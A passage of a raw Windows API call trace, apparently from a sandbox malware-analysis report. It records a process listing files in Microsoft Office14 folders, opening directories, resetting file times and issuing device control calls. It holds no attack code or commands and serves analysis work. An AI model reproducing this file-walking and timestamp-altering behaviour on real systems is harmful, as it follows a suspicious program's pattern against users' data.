nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINWORD.DEV_F_COL.HXK", cAlternateFileName="")) returned 1 [0078.112] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3a1f00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1e5998f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e3a1f00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINWORD.DEV_K_COL.HXK", cAlternateFileName="")) returned 1 [0078.112] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe02ac500, ftCreationTime.dwHighDateTime=0x1ca9370, ftLastAccessTime.dwLowDateTime=0x1e5bfa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe02ac500, ftLastWriteTime.dwHighDateTime=0x1ca9370, nFileSizeHigh=0x0, nFileSizeLow=0x4ff5e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINWORD.HXS", cAlternateFileName="")) returned 1 [0078.112] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x1e5e5bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINWORD_COL.HXC", cAlternateFileName="")) returned 1 [0078.112] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79756b00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1e5e5bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79756b00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINWORD_COL.HXT", cAlternateFileName="")) returned 1 [0078.112] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79756b00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1e5e5bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79756b00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINWORD_F_COL.HXK", cAlternateFileName="")) returned 1 [0078.112] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79756b00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1e5e5bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79756b00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINWORD_K_COL.HXK", cAlternateFileName="")) returned 1 [0078.112] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x521b7160, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xa560, dwReserved0=0x0, dwReserved1=0x0, cFileName="WORKFLOW.VSL", cAlternateFileName="")) returned 1 [0078.112] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7466000, ftCreationTime.dwHighDateTime=0x1caccde, ftLastAccessTime.dwLowDateTime=0x225ee90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7466000, ftLastWriteTime.dwHighDateTime=0x1caccde, nFileSizeHigh=0x0, nFileSizeLow=0xdc158, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.DLL", cAlternateFileName="")) returned 1 [0078.112] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb8a5d00, ftCreationTime.dwHighDateTime=0x1caccde, ftLastAccessTime.dwLowDateTime=0x2212bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb8a5d00, ftLastWriteTime.dwHighDateTime=0x1caccde, nFileSizeHigh=0x0, nFileSizeLow=0x1a780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0078.112] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea593000, ftCreationTime.dwHighDateTime=0x1caccde, ftLastAccessTime.dwLowDateTime=0x2284ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea593000, ftLastWriteTime.dwHighDateTime=0x1caccde, nFileSizeHigh=0x0, nFileSizeLow=0x96180, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0078.112] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c57a100, ftCreationTime.dwHighDateTime=0x1cac466, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4c57a100, ftLastWriteTime.dwHighDateTime=0x1cac466, nFileSizeHigh=0x0, nFileSizeLow=0x4188, dwReserved0=0x0, dwReserved1=0x0, cFileName="wxpr.dll", cAlternateFileName="")) returned 1 [0078.112] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fff8a00, ftCreationTime.dwHighDateTime=0x1bdff9a, ftLastAccessTime.dwLowDateTime=0x1548bc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3fff8a00, ftLastWriteTime.dwHighDateTime=0x1bdff9a, nFileSizeHigh=0x0, nFileSizeLow=0x34d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="WZCNFLCT.CHM", cAlternateFileName="")) returned 1 [0078.112] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xcd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="XFUNC.VSL", cAlternateFileName="")) returned 1 [0078.112] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x618b1900, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x618b1900, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x3283, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xlate_Complete.xsn", cAlternateFileName="")) returned 1 [0078.112] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62bc4600, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62bc4600, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xlate_Init.xsn", cAlternateFileName="")) returned 1 [0078.112] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dd9100, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0xf5ee1fd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x44dd9100, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0x240d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.DLL", cAlternateFileName="")) returned 1 [0078.112] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x427b3700, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0xf5ebbe70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x427b3700, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0x18380, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0078.112] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x414a0a00, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0xf5ee1fd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x414a0a00, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0x5db80, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0078.112] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43ac6400, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0xf5ee1fd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x43ac6400, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0x9380, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLLEX.DLL", cAlternateFileName="")) returned 1 [0078.112] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae096500, ftCreationTime.dwHighDateTime=0x1c30d4d, ftLastAccessTime.dwLowDateTime=0xfa6bd7f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xae096500, ftLastWriteTime.dwHighDateTime=0x1c30d4d, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLMACRO.CHM", cAlternateFileName="")) returned 1 [0078.112] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa6e3950, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x2b580, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL", cAlternateFileName="")) returned 1 [0078.112] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc255d100, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa6e3950, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc255d100, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x3180, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0078.112] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf94f400, ftCreationTime.dwHighDateTime=0x1c556ae, ftLastAccessTime.dwLowDateTime=0x112efdf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaf94f400, ftLastWriteTime.dwHighDateTime=0x1c556ae, nFileSizeHigh=0x0, nFileSizeLow=0x349922, dwReserved0=0x0, dwReserved1=0x0, cFileName="XMLSDK5.CHM", cAlternateFileName="")) returned 1 [0078.113] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf94f400, ftCreationTime.dwHighDateTime=0x1c556ae, ftLastAccessTime.dwLowDateTime=0x112efdf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaf94f400, ftLastWriteTime.dwHighDateTime=0x1c556ae, nFileSizeHigh=0x0, nFileSizeLow=0x349922, dwReserved0=0x0, dwReserved1=0x0, cFileName="XMLSDK5.CHM", cAlternateFileName="")) returned 0 [0078.113] GetLastError () returned 0x12 [0078.113] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa9238) returned 1 [0078.113] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.113] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa4f40) returned 1 [0078.113] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0078.113] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x779e270, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0078.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0078.113] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036" (normalized: "c:\\program files\\microsoft office\\office14\\1036"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x779e270, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036" (normalized: "c:\\program files\\microsoft office\\office14\\1036"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0078.122] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0078.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xac7108 [0078.122] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xac7108, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xac7108, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0078.122] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac7108) returned 1 [0078.122] NtClose (Handle=0x170) returned 0x0 [0078.122] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0078.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0078.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0078.123] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0078.123] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x779e270, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.123] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b069000, ftCreationTime.dwHighDateTime=0x1c99227, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b069000, ftLastWriteTime.dwHighDateTime=0x1c99227, nFileSizeHigh=0x0, nFileSizeLow=0xaa26, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 1 [0078.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.123] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.123] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4c68 [0078.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7c60 [0078.124] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.124] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b069000, ftCreationTime.dwHighDateTime=0x1c99227, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b069000, ftLastWriteTime.dwHighDateTime=0x1c99227, nFileSizeHigh=0x0, nFileSizeLow=0xaa26, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 0 [0078.124] GetLastError () returned 0x12 [0078.124] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0078.124] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.124] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x779e270, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.124] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b069000, ftCreationTime.dwHighDateTime=0x1c99227, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b069000, ftLastWriteTime.dwHighDateTime=0x1c99227, nFileSizeHigh=0x0, nFileSizeLow=0xaa26, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 1 [0078.124] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b069000, ftCreationTime.dwHighDateTime=0x1c99227, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b069000, ftLastWriteTime.dwHighDateTime=0x1c99227, nFileSizeHigh=0x0, nFileSizeLow=0xaa26, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 0 [0078.124] GetLastError () returned 0x12 [0078.124] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0078.124] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.124] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.124] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0078.124] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a4f390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0078.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0078.124] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082" (normalized: "c:\\program files\\microsoft office\\office14\\3082"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a4f390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082" (normalized: "c:\\program files\\microsoft office\\office14\\3082"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0078.150] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0078.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xac7108 [0078.151] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xac7108, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xac7108, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0078.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac7108) returned 1 [0078.151] NtClose (Handle=0x164) returned 0x0 [0078.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0078.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0078.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0078.151] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0078.151] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a4f390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.151] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d6ae900, ftCreationTime.dwHighDateTime=0x1c9922b, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d6ae900, ftLastWriteTime.dwHighDateTime=0x1c9922b, nFileSizeHigh=0x0, nFileSizeLow=0xc57c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 1 [0078.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.152] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.152] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4c88 [0078.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ce8 [0078.152] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.152] FindNextFileW (in: hFindFile=0x2e9080, 